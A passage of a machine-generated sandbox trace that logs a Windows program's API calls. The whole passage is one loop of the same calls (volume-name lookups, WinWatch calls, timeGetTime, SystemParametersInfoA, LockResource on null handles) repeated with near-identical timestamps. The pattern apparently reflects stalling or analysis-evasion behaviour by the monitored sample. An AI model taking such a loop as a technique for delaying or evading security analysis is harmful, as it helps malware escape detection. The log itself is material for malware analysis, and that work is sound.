cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.102] WinWatchNotify () returned 0x0 [0037.102] timeGetTime () returned 0x114497d [0037.102] WinWatchOpen () returned 0x5fe918 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.102] LockResource (hResData=0x0) returned 0x0 [0037.102] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.102] WinWatchNotify () returned 0x0 [0037.102] timeGetTime () returned 0x114497e [0037.102] WinWatchOpen () returned 0x5fe938 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.102] LockResource (hResData=0x0) returned 0x0 [0037.102] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.102] WinWatchNotify () returned 0x0 [0037.102] timeGetTime () returned 0x114497e [0037.102] WinWatchOpen () returned 0x5fe958 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.102] LockResource (hResData=0x0) returned 0x0 [0037.102] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.102] WinWatchNotify () returned 0x0 [0037.102] timeGetTime () returned 0x114497e [0037.102] WinWatchOpen () returned 0x5fe978 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.102] LockResource (hResData=0x0) returned 0x0 [0037.102] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.102] WinWatchNotify () returned 0x0 [0037.102] timeGetTime () returned 0x114497e [0037.102] WinWatchOpen () returned 0x5fe998 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.102] LockResource (hResData=0x0) returned 0x0 [0037.102] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.102] WinWatchNotify () returned 0x0 [0037.102] timeGetTime () returned 0x114497e [0037.102] WinWatchOpen () returned 0x5fe9b8 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.102] LockResource (hResData=0x0) returned 0x0 [0037.102] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.102] WinWatchNotify () returned 0x0 [0037.102] timeGetTime () returned 0x114497e [0037.102] WinWatchOpen () returned 0x5fe9d8 [0037.102] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.103] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.103] WinWatchNotify () returned 0x0 [0037.103] timeGetTime () returned 0x114497e [0037.103] WinWatchOpen () returned 0x5fe9f8 [0037.103] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.103] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.103] WinWatchNotify () returned 0x0 [0037.103] timeGetTime () returned 0x114497f [0037.103] WinWatchOpen () returned 0x5fea18 [0037.103] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.103] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.103] WinWatchNotify () returned 0x0 [0037.103] timeGetTime () returned 0x114497f [0037.103] WinWatchOpen () returned 0x5fea38 [0037.103] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.103] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.103] WinWatchNotify () returned 0x0 [0037.103] timeGetTime () returned 0x114497f [0037.103] WinWatchOpen () returned 0x5fea58 [0037.103] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.103] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.103] WinWatchNotify () returned 0x0 [0037.103] timeGetTime () returned 0x114497f [0037.103] WinWatchOpen () returned 0x5fea78 [0037.103] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.103] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.103] WinWatchNotify () returned 0x0 [0037.103] timeGetTime () returned 0x114497f [0037.103] WinWatchOpen () returned 0x5fea98 [0037.103] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.103] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.103] WinWatchNotify () returned 0x0 [0037.103] timeGetTime () returned 0x114497f [0037.103] WinWatchOpen () returned 0x5feab8 [0037.103] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.103] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.104] WinWatchNotify () returned 0x0 [0037.104] timeGetTime () returned 0x114497f [0037.104] WinWatchOpen () returned 0x5fead8 [0037.104] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.104] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.104] WinWatchNotify () returned 0x0 [0037.104] timeGetTime () returned 0x1144980 [0037.104] WinWatchOpen () returned 0x5feaf8 [0037.104] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.104] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.104] WinWatchNotify () returned 0x0 [0037.104] timeGetTime () returned 0x1144980 [0037.104] WinWatchOpen () returned 0x5feb18 [0037.104] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.104] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.104] WinWatchNotify () returned 0x0 [0037.104] timeGetTime () returned 0x1144980 [0037.104] WinWatchOpen () returned 0x5feb38 [0037.104] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.104] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.104] WinWatchNotify () returned 0x0 [0037.104] timeGetTime () returned 0x1144980 [0037.104] WinWatchOpen () returned 0x5feb58 [0037.104] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.104] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.104] WinWatchNotify () returned 0x0 [0037.104] timeGetTime () returned 0x1144980 [0037.104] WinWatchOpen () returned 0x5feb78 [0037.104] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.104] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.104] WinWatchNotify () returned 0x0 [0037.104] timeGetTime () returned 0x1144980 [0037.104] WinWatchOpen () returned 0x5feb98 [0037.104] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.104] LockResource (hResData=0x0) returned 0x0 [0037.104] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144980 [0037.105] WinWatchOpen () returned 0x5febb8 [0037.105] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.105] LockResource (hResData=0x0) returned 0x0 [0037.105] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144980 [0037.105] WinWatchOpen () returned 0x5febd8 [0037.105] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.105] LockResource (hResData=0x0) returned 0x0 [0037.105] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144981 [0037.105] WinWatchOpen () returned 0x5febf8 [0037.105] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.105] LockResource (hResData=0x0) returned 0x0 [0037.105] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144981 [0037.105] WinWatchOpen () returned 0x5fec18 [0037.105] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.105] LockResource (hResData=0x0) returned 0x0 [0037.105] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144981 [0037.105] WinWatchOpen () returned 0x5fec38 [0037.105] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.105] LockResource (hResData=0x0) returned 0x0 [0037.105] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144981 [0037.105] WinWatchOpen () returned 0x5fec58 [0037.105] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.105] LockResource (hResData=0x0) returned 0x0 [0037.105] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144981 [0037.105] WinWatchOpen () returned 0x5fec78 [0037.105] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.105] LockResource (hResData=0x0) returned 0x0 [0037.105] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.105] WinWatchNotify () returned 0x0 [0037.105] timeGetTime () returned 0x1144981 [0037.106] WinWatchOpen () returned 0x5fec98 [0037.106] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.106] LockResource (hResData=0x0) returned 0x0 [0037.106] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.106] WinWatchNotify () returned 0x0 [0037.106] timeGetTime () returned 0x1144981 [0037.106] WinWatchOpen () returned 0x5fecb8 [0037.106] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.106] LockResource (hResData=0x0) returned 0x0 [0037.106] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.106] WinWatchNotify () returned 0x0 [0037.106] timeGetTime () returned 0x1144982 [0037.106] WinWatchOpen () returned 0x5fecd8 [0037.106] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.106] LockResource (hResData=0x0) returned 0x0 [0037.106] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.106] WinWatchNotify () returned 0x0 [0037.106] timeGetTime () returned 0x1144982 [0037.106] WinWatchOpen () returned 0x5fecf8 [0037.106] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.106] LockResource (hResData=0x0) returned 0x0 [0037.106] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.106] WinWatchNotify () returned 0x0 [0037.106] timeGetTime () returned 0x1144982 [0037.106] WinWatchOpen () returned 0x5fed18 [0037.106] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.106] LockResource (hResData=0x0) returned 0x0 [0037.106] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.106] WinWatchNotify () returned 0x0 [0037.106] timeGetTime () returned 0x1144982 [0037.106] WinWatchOpen () returned 0x5fed38 [0037.106] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.106] LockResource (hResData=0x0) returned 0x0 [0037.106] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.106] WinWatchNotify () returned 0x0 [0037.106] timeGetTime () returned 0x1144982 [0037.106] WinWatchOpen () returned 0x5fed58 [0037.106] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.106] LockResource (hResData=0x0) returned 0x0 [0037.106] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.106] WinWatchNotify () returned 0x0 [0037.106] timeGetTime () returned 0x1144982 [0037.106] WinWatchOpen () returned 0x5fed78 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.107] LockResource (hResData=0x0) returned 0x0 [0037.107] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.107] WinWatchNotify () returned 0x0 [0037.107] timeGetTime () returned 0x1144982 [0037.107] WinWatchOpen () returned 0x5fed98 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.107] LockResource (hResData=0x0) returned 0x0 [0037.107] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.107] WinWatchNotify () returned 0x0 [0037.107] timeGetTime () returned 0x1144983 [0037.107] WinWatchOpen () returned 0x5fedb8 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.107] LockResource (hResData=0x0) returned 0x0 [0037.107] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.107] WinWatchNotify () returned 0x0 [0037.107] timeGetTime () returned 0x1144983 [0037.107] WinWatchOpen () returned 0x5fedd8 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.107] LockResource (hResData=0x0) returned 0x0 [0037.107] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.107] WinWatchNotify () returned 0x0 [0037.107] timeGetTime () returned 0x1144983 [0037.107] WinWatchOpen () returned 0x5fedf8 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.107] LockResource (hResData=0x0) returned 0x0 [0037.107] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.107] WinWatchNotify () returned 0x0 [0037.107] timeGetTime () returned 0x1144983 [0037.107] WinWatchOpen () returned 0x5fee18 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.107] LockResource (hResData=0x0) returned 0x0 [0037.107] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.107] WinWatchNotify () returned 0x0 [0037.107] timeGetTime () returned 0x1144983 [0037.107] WinWatchOpen () returned 0x5fee38 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.107] LockResource (hResData=0x0) returned 0x0 [0037.107] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.107] WinWatchNotify () returned 0x0 [0037.107] timeGetTime () returned 0x1144983 [0037.107] WinWatchOpen () returned 0x5fee58 [0037.107] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.108] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.108] WinWatchNotify () returned 0x0 [0037.108] timeGetTime () returned 0x1144983 [0037.108] WinWatchOpen () returned 0x5fee78 [0037.108] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.108] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.108] WinWatchNotify () returned 0x0 [0037.108] timeGetTime () returned 0x1144984 [0037.108] WinWatchOpen () returned 0x5fee98 [0037.108] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.108] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.108] WinWatchNotify () returned 0x0 [0037.108] timeGetTime () returned 0x1144984 [0037.108] WinWatchOpen () returned 0x5feeb8 [0037.108] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.108] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.108] WinWatchNotify () returned 0x0 [0037.108] timeGetTime () returned 0x1144984 [0037.108] WinWatchOpen () returned 0x5feed8 [0037.108] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.108] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.108] WinWatchNotify () returned 0x0 [0037.108] timeGetTime () returned 0x1144984 [0037.108] WinWatchOpen () returned 0x5feef8 [0037.108] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.108] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.108] WinWatchNotify () returned 0x0 [0037.108] timeGetTime () returned 0x1144984 [0037.108] WinWatchOpen () returned 0x5fef18 [0037.108] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.108] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.108] WinWatchNotify () returned 0x0 [0037.108] timeGetTime () returned 0x1144984 [0037.108] WinWatchOpen () returned 0x5fef58 [0037.108] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.108] LockResource (hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.109] WinWatchNotify () returned 0x0 [0037.109] timeGetTime () returned 0x1144984 [0037.109] WinWatchOpen () returned 0x5fef78 [0037.109] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.109] LockResource (hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.109] WinWatchNotify () returned 0x0 [0037.109] timeGetTime () returned 0x1144984 [0037.109] WinWatchOpen () returned 0x5fef98 [0037.109] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.109] LockResource (hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.109] WinWatchNotify () returned 0x0 [0037.109] timeGetTime () returned 0x1144985 [0037.109] WinWatchOpen () returned 0x5fefb8 [0037.109] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.109] LockResource (hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.109] WinWatchNotify () returned 0x0 [0037.109] timeGetTime () returned 0x1144985 [0037.109] WinWatchOpen () returned 0x5fefd8 [0037.109] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.109] LockResource (hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.109] WinWatchNotify () returned 0x0 [0037.109] timeGetTime () returned 0x1144985 [0037.109] WinWatchOpen () returned 0x5feff8 [0037.109] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.109] LockResource (hResData=0x0) returned 0x0 [0037.109] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú\x15w\"ô\x15w@") returned 0 [0037.109] WinWatchNotify () returned 0x0 [0037.109] timeGetTime () returned 0x1144985 [0037.109] WinWatchOpen () returned 0x5ff018 [0037.109] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0037.109] LockResource 